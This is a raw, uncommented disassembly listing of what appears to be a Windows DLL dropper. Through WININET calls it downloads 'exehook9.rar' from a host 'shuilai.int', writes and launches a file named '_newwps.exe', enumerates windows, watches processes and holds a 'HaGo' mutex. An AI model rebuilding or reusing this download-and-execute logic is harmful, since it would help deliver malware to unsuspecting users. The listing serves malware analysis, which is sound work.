lea rcx, [rbp + 0xf0]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0xf0]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
sub rax, r13
lea rdx, [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1c0]
mov r9, rsi
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8f4]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x180008d9a
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook9.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xd0]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0xd0]
mov rdi, rax
call fcn.18000a784
lea rcx, [rbp + 0x2f0]
call fcn.180004f18
lea r8, [rbp + 0x248]
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x10]
call fcn.18000b68c
mov rdx, rax
lea r8, str.shuilai.int
lea rcx, [rbp + 0x90]
call fcn.18000b6ec
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.18000a078
lea rcx, [rbp + 0x90]
call fcn.18000a784
lea rcx, [rbp + 0x10]
call fcn.18000a784
jmp 0x180008e21
mov eax, dword [rbp + 0x1e8]
test eax, eax
je 0x180008e42
mov r8d, eax
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x2f0]
call fcn.18000a374
lea r9, [rbp + 0x1e8]
mov r8d, 0x1000
lea rdx, [rbp + 0x400]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x180008e01
lea rcx, [rbp + 0x2f0]
call fcn.180009f7c
call fcn.180004f28
mov rcx, r14
call fcn.18000523c
test eax, eax
jle 0x180009179
call fcn.180004fcc
lea rcx, [rbp + 0x10]
call fcn.1800052ec
lea r14, [0x180041cd8]
mov rdx, rax
mov rcx, r14
call fcn.18000a7e0
lea rcx, [rbp + 0x10]
call fcn.18000a784
lea r8, str._newwps.exe
mov rdx, r14
lea rcx, [rbp + 0x90]
call fcn.18000b75c
lea rdx, [0x18003b910]
mov rbx, rax
lea rcx, [rbp + 0x10]
call fcn.18000a800
mov rcx, rax
mov r8, rbx
mov edx, 0x76
call fcn.180004cd0
mov esi, 0x32
jmp 0x180008ee3
xor edx, edx
lea rcx, [0x18000578c]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x180043979], r15b
je 0x180008ecc
mov ebx, r15d
lea rdi, str.newwps.exe
jmp 0x180008f1a
add ebx, r13d
cmp ebx, 0x14
jl 0x180008f12
xor edx, edx
lea rcx, [0x18000578c]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ebx, r15d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rdi
call fcn.18000523c
test eax, eax
je 0x180008ef8
mov ebx, r15d
cmp byte [0x180043978], r15b
je 0x180008f37
cmp ebx, 0x1e
jg 0x180008f65
add ebx, r13d
call fcn.180005194
cmp eax, r13d
jle 0x180008f4c
mov rcx, rdi
call fcn.180005eb8
xor edx, edx
lea rcx, [0x1800059c4]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180008f29
lea rdx, [0x180041cf8]
lea rcx, [rbp + 0x10]
call fcn.18000a828
mov rcx, rax
call fcn.1800061c4
lea rdx, [0x18003b55b]
mov rcx, r12
call fcn.18000b828
test al, al
je 0x180008fa4
mov rdx, r12
lea rcx, [rbp + 0x10]
call fcn.18000a828
mov rcx, rax
call fcn.1800061c4
call fcn.180003a04
mov ebx, 0x64
cmp al, r13b
jne 0x180008fe1
call fcn.180003edc
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180003c64
cmp al, r13b
je 0x180008fb3
call fcn.180004158
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180003a04
cmp al, r13b
je 0x180008fca
lea r8, [rbp + 0x248]
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x90]
call fcn.18000b68c
mov rdx, rax
lea r8, [rbp + 0x268]
lea rcx, [rbp + 0x10]
call fcn.18000b620
mov rcx, rax
call fcn.18000a61c
xor r8d, r8d
lea r9, [0x18003b55b]
mov rcx, rax
lea edx, [r8 + 3]
call fcn.180001ffc
lea rcx, [rbp + 0x10]
call fcn.18000a784
lea rcx, [rbp + 0x90]
call fcn.18000a784
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180003a04
test al, al
je 0x180008fe1
jmp 0x180009072
xor edx, edx
mov byte [0x180041cb0], r15b
lea rcx, [0x180005b98]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x180041cb0], r15b
jne 0x180009054
mov rcx, rdi
call fcn.180005eb8
jmp 0x18000908d
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rdi
call fcn.18000523c
test eax, eax
jne 0x180009085
lea r8, str._newwps.exe
mov rdx, r14
lea rcx, [rbp + 0x10]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rcx, rax
call fcn.180014738
lea rcx, [rbp + 0x10]
call fcn.18000a784
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x90]
call fcn.18000a828
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180001ea4
mov rcx, rax
call fcn.18000a57c
mov rcx, rax
call fcn.18000523c
lea rcx, [rsp + 0x70]
mov ebx, eax
call fcn.18000a58c
mov edi, 0x7d0
jmp 0x180009144
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x90]
call fcn.18000a828
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180001ea4
mov rcx, rax
call fcn.18000a57c
mov rcx, rax
call fcn.18000523c
lea rcx, [rsp + 0x70]
mov ebx, eax
call fcn.18000a58c
lea rcx, str.mmc.exe
call fcn.180005eb8
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x180009108
lea rdx, [0x180041cf8]
lea rcx, [rbp + 0x10]
call fcn.18000a828
mov rcx, rax
call fcn.180005fac
jmp 0x180009227
call fcn.180003a04
mov ebx, 0x3e8
cmp al, r13b
jne 0x1800091b6
call fcn.180003edc
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180003c64
cmp al, r13b
je 0x180009188
call fcn.180004158
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180003a04
cmp al, r13b
je 0x18000919f
lea r8, [rbp + 0x248]
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x90]
call fcn.18000b68c
mov rdx, rax
lea r8, [rbp + 0x268]
lea rcx, [rbp + 0x10]
call fcn.18000b620
mov rcx, rax
call fcn.18000a61c
xor r8d, r8d
lea r9, [0x18003b55b]
mov rcx, rax
lea edx, [r8 + 3]
call fcn.180001ffc
lea rcx, [rbp + 0x10]
call fcn.18000a784
lea rcx, [rbp + 0x90]
call fcn.18000a784
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180003a04
test al, al
je 0x1800091b6
lea rcx, [rbp + 0x2f0]
call fcn.180004ee8
lea rcx, [rbp + 0x208]
call fcn.18000a784
lea rcx, [rbp + 0x1c0]
call fcn.18000a784
lea rcx, [rbp + 0x1f0]
call fcn.18000a488
jmp 0x180009286
lea r8, str.HaGo
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x18000927b
xor ecx, ecx
call fcn.180013db0
int3
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x248]
call fcn.18000a784
lea rcx, [rbp + 0x268]
call fcn.18000a784
lea rcx, [rbp + 0x228]
call fcn.18000a784
lea rcx, [rbp + 0x2a8]
call fcn.18000a784
lea rcx, [rbp + 0x288]
call fcn.18000a784
lea rcx, [rbp + 0x2c8]
call fcn.18000a58c
xor ecx, ecx
call fcn.180013db0
int3